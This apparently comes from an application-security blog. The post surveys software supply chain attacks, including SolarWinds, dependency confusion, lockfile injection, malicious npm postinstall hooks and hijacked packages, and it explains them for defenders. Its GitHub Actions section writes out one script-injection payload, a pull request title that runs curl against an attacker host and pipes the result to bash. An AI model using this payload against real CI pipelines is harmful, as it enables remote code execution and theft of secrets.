☕️ Naming things is hard

A blog about application security, and the occasional ramblings on AI and crypto.

Practical Supply Chain Security

Introduction

What is software supply chain security?

Your software doesn't run in a vacuum. It's built by people, on machines you don't fully control, pulling in hundreds of packages written by strangers. Any of those can be compromised. Software supply chain security is about understanding where those trust boundaries are and being deliberate about them.

The term sounds corporate but the problem is concrete. An attacker who gets one step upstream of you (your CI system, a popular open source library, your IDE) can own your entire pipeline without ever touching your application code directly.

In 2022, supply chain cyber attacks in the United States impacted 1,743 entities.

Financial losses from software supply chain attacks are projected to reach $81 billion by 2026, up 76%. That number is probably conservative given how many incidents go unreported.

SLSA: a threat model for the developer supply chain

SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a framework developed by Google that maps the weakest points in how software gets built and delivered. It defines four levels of build integrity: from basic version control hygiene (Level 1) up to fully hermetic, reproducible builds with cryptographic provenance you can verify independently (Level 4).

What makes it useful is that it forces you to treat your build process as an attack surface. Most teams only think about their code. SLSA asks: what about the machine that compiled it?

SLSA model

Attack vectors and threat landscape

There are four main places attackers go after: your source code, your build system, your dependencies, and your dev tooling. Each has a different trust model and a different set of real incidents behind it.

Source code compromise 💻

Phishing developers

🔥 Dropbox email phishing pretending to be from CircleCI - November 2022

This one worked because CircleCI is a trusted name in the dev toolchain. Developers are trained to be suspicious of random emails, but much less so of messages that look like routine CI alerts.

Malicious developers

🔥 Linux kernel experiment - April 2021

The lesson isn't that code review doesn't work. It's that code review is not a reliable last line of defense against a patient attacker who understands the review process.

Build platform compromise 🏗️

Direct compromise

🔥 SolarWinds - December 2020

SolarWinds is the clearest illustration of why you can't just trust your own signed artifacts. The signature tells you the build server produced the binary. It says nothing about whether the build server itself was clean.

GitHub Actions

GitHub Actions is an obvious target: it runs with access to your secrets, your production deploy keys, and often your cloud provider credentials.

A few common attack patterns:

Using uses: some-action@v1 without pinning to a commit SHA means a hijacked action release can silently run arbitrary code in your pipeline. The tj-actions/changed-files action was compromised this way in March 2025, affecting thousands of repos.

Workflows that trigger on pull_request_target with access to repository secrets can be exploited by external contributors. GitHub's own docs warn about this. It's easy to get wrong.

And then there's script injection. Using ${{ github.event.pull_request.title }} directly in a run: step means an attacker can name their PR "; curl attacker.com/exfil | bash; echo " and your workflow executes it. The Actions security hardening docs cover this, but it requires someone to actually read them.

Dependencies 📦

0-day vulnerabilities

🔥 Log4Shell (Log4j) - December 2021

With Log4Shell, the severity wasn't even the worst part. Most teams couldn't tell you which of their services used Log4j, let alone which version. Finding the exposure took longer than patching it.

Dependency confusion

Some package managers check public registries before private ones when resolving a package name. If your company uses a private package called acme-internal-utils, an attacker can publish a public package with the same name at a higher version number, and some build systems will pull the malicious public version instead.

Alex Birsan demonstrated this in 2021 against Apple, Microsoft, Netflix, and others, earning over $130,000 in bug bounties.

Typosquatting

Publishing packages with names that look like popular ones, counting on developers to mistype.

PyPI:

npm:

Docker Hub:

Lockfile injection

When you run npm install, the lockfile (package-lock.json) pins exact package versions and their download URLs. Lockfile injection is when an attacker modifies your lockfile, through a compromised PR, a misconfigured merge, or a supply chain attack, to point a legitimate-looking package name at a malicious URL.

Most developers don't scrutinize lockfile diffs because they're noisy and auto-generated. This can go undetected for a long time. The package name looks right; only the resolved URL has been swapped.

Arbitrary command execution

npm's postinstall lifecycle hook runs a shell script automatically when you install a package. This is a legitimate feature used by packages like esbuild to download platform-specific binaries.

🔥 node-ipc - March 2022: the maintainer added a postinstall script that would wipe files on machines with Russian or Belarusian IP addresses (the package had ~1 million weekly downloads as a transitive dependency of Vue CLI)

When you run npm install, you're trusting every package.json in your entire dependency tree to not run malicious shell commands on your machine. Most developers haven't thought about that.

Hijacked package

🔥 UA-Parser.js - October 2021: a popular npm package (8 million weekly downloads) had its npm account hijacked. The attacker published new versions containing a crypto-miner and a password/cookie stealer. The malicious versions were live for a few hours before being taken down, but the damage was already done for anyone who ran npm install during that window.

IDE plugins 🔌

VSCode plugins have access to your filesystem, your terminal, your environment variables, and your network. The marketplace has historically done very little vetting.

All three were downloaded 46,600 times before being removed 💀

Those are the ones that got caught.

Mitigations

Low hanging fruits 🍓

Advanced 🧐